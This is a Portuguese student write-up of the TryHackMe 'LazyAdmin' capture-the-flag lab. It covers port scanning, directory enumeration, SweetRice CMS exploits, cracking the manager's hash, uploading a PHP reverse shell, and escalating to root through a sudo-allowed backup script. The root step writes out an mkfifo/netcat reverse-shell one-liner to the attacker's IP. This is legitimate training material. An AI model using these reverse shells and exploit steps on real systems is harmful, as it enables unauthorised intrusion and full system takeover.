Uma imagem contendo Logotipo

Descrição gerada automaticamente

Relatório de CTF

Lazy Admin – TryHackMe

|  |  |
| --- | --- |
| **Informações do documento** | |
| **Referência** | LazyAdmin – Eike G. Barbosa |
| **N° Revisão** | 1 |
| **Data de publicação** | 13/11/2024 |
| **Link** | https://tryhackme.com/r/room/lazyadmin |

|  |  |  |
| --- | --- | --- |
| **Redação** | Eike G. Barbosa | Estudante |
| **Revisão** | Sérgio Guidi Trovo | Coordenador |
| **Aprovação** | Sérgio Guidi Trovo | Coordenador |

|  |  |  |
| --- | --- | --- |
| **Histórico de revisões** | | |
| **N°** | **Entregas** | **Descrição** |
| **0** | 30/10/2024 | Produção |
| **1** | 13/11/2024 | Revisão |
| **2** | 13/11/2024 | Aprovação |

**Sumário**

[Contextualização 3](#_heading=h.gjdgxs)

[Desenvolvimento 3](#_heading=h.1fob9te)

[What is the user flag? 3](#_heading=h.3znysh7)

[What is the root flag?](#_heading=h.2et92p0) 9

[Conclusão](#_heading=h.1t3h5sf) 11

[Referências](#_heading=h.4d34og8) 11

**Contextualização**

O CTF "LazyAdmin" da TryHackMe desafia os participantes a explorar vulnerabilidades comuns em sistemas web, começando com **reconhecimento** e varredura de portas para identificar pontos de entrada. O foco inicial é acessar uma interface administrativa web, muitas vezes configurada com **credenciais fracas**. A exploração envolve **enumeração** para encontrar diretórios ou arquivos ocultos e analisar configurações inadequadas. Após obter acesso, é possível realizar **escalada de privilégios** aproveitando permissões ou scripts mal configurados. O objetivo é coletar "flags" ao longo do desafio, reforçando habilidades em exploração e defesa de sistemas web.

**Desenvolvimento**

**What is the user flag?**

Começando com um simples scan, usando o NMAP, onde podemos observar que há 2 portas abertas, uma com serviço HTTP (80) e a outra com o serviço SSH (22).

***Comando usado:*** nmap -sS -sV <IP\_target>

Texto

Descrição gerada automaticamente

Analisando primeira a porta HTTP, onde está rodando um servidor Apache, não achamos nada de importante, apenas a página padrão do Apache.

Interface gráfica do usuário, Texto, Email

Descrição gerada automaticamente

Utilizando o *Gobuster*, podemos encontrar um diretório interessante, o “/content”.

***Comando usado:*** gobuster dir -w /usr/share/dirb/wordlists/common.txt -u http://<IP\_target>

Interface gráfica do usuário, Texto

Descrição gerada automaticamente

Acessando-o, achamos uma página falando sobre um CMS instalado, chamado *SweetRice*.

Interface gráfica do usuário, Texto, Aplicativo, Email

Descrição gerada automaticamente

Entrando no código fonte da página, é possível encontrar a versão desse *SweetRice*, sendo ele 0.5.4.

Texto

Descrição gerada automaticamente

Com a versão, podemos pesquisar algum possível *exploit*.

***Comando usado:*** searchsploit SweetRice

Interface gráfica do usuário, Padrão do plano de fundo

Descrição gerada automaticamente com confiança média

Escolhendo o 5°, podemos analisá-lo. É possível notar, que precisamos editar a url da máquina alvo, mudando o localhost, e o path até o *SweetRice*.

***Comando usado:*** searchsploit -x php/webapps/40718.html

Texto

Descrição gerada automaticamente

Achamos um arquivo SQL. Precisamos baixá-lo e analisá-lo, para ver se conseguimos achar algum usuário no banco de dados.

Texto

Descrição gerada automaticamente

Procurando no arquivo, é possível achar uma *hash* ao lado do usuário “manager” (42f749ade7f9e195bf475f37a44cafcb). Acessando o *crackstation*, conseguimos decodificar.

Interface gráfica do usuário, Texto, Aplicativo

Descrição gerada automaticamente

Agora voltando para o *searchsploit*, utilizamos a 7° opção, baixamos, e mudamos novamente a URL, para poder acessar a página de login.

Texto

Descrição gerada automaticamente

Texto

Descrição gerada automaticamente

Somos redirecionados para a tela de login, e então basta acessá-la. (User: manager, pass: Password123).

Interface gráfica do usuário, Aplicativo

Descrição gerada automaticamente

Agora que temos acesso, voltamos no arquivo do *exploit* e verificamos que precisamos criar uma página chamado hacked.php. Para isso, acessamos a URL especificada. Um erro ocorre no processo, para contorna-lo, basta reiniciar o Firefox.

***Comando usado:*** Firefox <filename.html> &

Interface gráfica do usuário, Texto, Aplicativo

Descrição gerada automaticamente

Acesse novamente a URL do *exploit*.

Interface gráfica do usuário, Texto

Descrição gerada automaticamente

Agora precisamos colocar a nossa reverse shell dentro do *exploit* que baixamos, acesse ele e cole o código.

Caso você não tenha uma, pode baixar no site *pentestmonkey*.

Texto

Descrição gerada automaticamente

Agora, ao invés de acessar o arquivo php hacked, ele irá acessar nossa reverse shell.

Interface gráfica do usuário, Texto, Aplicativo, Email, Teams

Descrição gerada automaticamente

Podemos então agora iniciar um *netcat*, para poder acessar a máquina. Colocamos o URL, porém ao invés de hacked.php, utilizamos o nome da shell.php.

Comando usado: nc -lvnp <port>

Interface gráfica do usuário, Texto

Descrição gerada automaticamente

Agora basta procurar com uma simples navegação de diretório o arquivo user.txt.

Texto

Descrição gerada automaticamente

**What is the root flag?**

**Parte superior do formulário**

Analisando que agora precisamos de acesso completo com root, usamos o comando *sudo* para poder ver que comandos podemos realizar com permissões elevadas.

***Comando usado:*** sudo -l

Texto

Descrição gerada automaticamente

Podemos ver que há um arquivo interessante, o “backup.pl”.

Texto

Descrição gerada automaticamente

Ele nos direciona para outro arquivo, podemos dar uma olhada também.



Ele simplesmente nos mostra um lugar onde podermos colar uma reverse shell simples. Podemos pegar no *pentestmonkey* e usar.

Texto

Descrição gerada automaticamente

Caso você não consiga mudar o arquivo, use um comando simples *echo*.

***Comando usado:*** echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your\_IP> <new\_port> >/tmp/f" > copy.sh

Texto

Descrição gerada automaticamente

Abrindo um *netcat* na nova porta que você abriu, e rodando novamente o comando *sudo -l* conseguimos o root.

**Conclusão**

Neste CTF, foram utilizados scan, quebra de *hash*, busca de diretório, procura por *exploit* e escalação de privilégio. Desse modo, ele é recomendado para quem deseja praticar e aprimorar as habilidades no processo de pentesting.

**Referências**

<https://crackstation.net/>

<https://www.exploit-db.com/>

<https://pentestmonkey.net/>